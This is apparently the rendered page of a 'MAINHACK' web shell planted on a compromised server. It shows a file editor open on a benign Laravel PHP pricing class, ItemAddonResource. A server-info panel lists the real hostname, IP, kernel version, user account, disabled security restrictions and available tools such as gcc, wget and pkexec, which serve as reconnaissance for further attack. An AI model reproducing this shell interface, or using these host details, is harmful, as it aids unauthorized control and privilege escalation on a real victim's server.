[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ItemAddonResource.php
<?php namespace App\Http\Resources; use App\Enums\Status; use App\Libraries\AppLibrary; use Carbon\Carbon; use Illuminate\Http\Resources\Json\JsonResource; use function PHPUnit\Framework\isNull; class ItemAddonResource extends JsonResource { public $variation = 0; /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array */ public function toArray($request) { $this->variation = $this->variationTotal(); $price = $this?->addonItem?->price; $offer = $this->addonItem?->offer?->filter(function ($offer) use ($price) { if (Carbon::now()->between( $offer->start_date, $offer->end_date ) && $offer->status == Status::ACTIVE) { $amount = ($price - ($price / 100 * $offer->amount)); $offer->flat_price = AppLibrary::flatAmountFormat($amount); $offer->convert_price = AppLibrary::convertAmountFormat($amount); $offer->currency_price = AppLibrary::currencyAmountFormat($amount); return $offer; } }); if (isNull($offer)) { $offer = []; } $total = $this->variation?->price + (count($offer) ? $offer[0]->convert_price : $this->addonItem?->price); return [ 'id' => $this->id, 'item_id' => $this->item_id, 'item_addon_id' => $this->addon_item_id, 'item_name' => optional($this->item)->name, 'addon_item_name' => optional($this->addonItem)->name, 'addon_item_price' => optional($this->addonItem)->price, "addon_item_flat_price" => AppLibrary::flatAmountFormat(optional($this->addonItem)->price), "addon_item_convert_price" => AppLibrary::convertAmountFormat(optional($this->addonItem)->price), "addon_item_currency_price" => AppLibrary::currencyAmountFormat(optional($this->addonItem)->price), 'addon_item_status' => optional($this->addonItem)->status, 'variations' => json_decode($this->addon_item_variation), 'variation_total' => optional($this->variation)->price, "variation_total_flat_price" => AppLibrary::flatAmountFormat(optional($this->variation)->price), "variation_total_convert_price" => AppLibrary::convertAmountFormat(optional($this->variation)->price), "variation_total_currency_price" => AppLibrary::currencyAmountFormat(optional($this->variation)->price), 'total' => $total, "total_flat_price" => AppLibrary::flatAmountFormat($total), "total_convert_price" => AppLibrary::convertAmountFormat($total), "total_currency_price" => AppLibrary::currencyAmountFormat($total), 'variation_names' => $this->variation?->name, "thumb" => $this->addonItem?->thumb, "cover" => $this->addonItem?->cover, "preview" => $this->addonItem?->preview, "caution" => optional($this->addonItem?->caution) == null ? '' : optional( $this->addonItem )->caution, "offer" => SimpleOfferResource::collection($offer) ]; } private function variationTotal() { $variationArray = $this->addonItem?->variations?->mapWithKeys(function ($variation) { return [$variation->id => $variation]; }); if ($this->addon_item_variation) { $variations = (object) json_decode($this->addon_item_variation, true); $price = 0; $name = []; foreach ($variations as $variation) { if (isset($variationArray[$variation])) { $name[] = [ 'id' => $variationArray[$variation]->id, 'name' => $variationArray[$variation]->name, 'attribute_name' => $variationArray[$variation]->itemAttribute->name ]; $price += $variationArray[$variation]->price; } } return (object)[ 'price' => $price, 'name' => $name ]; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.91 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002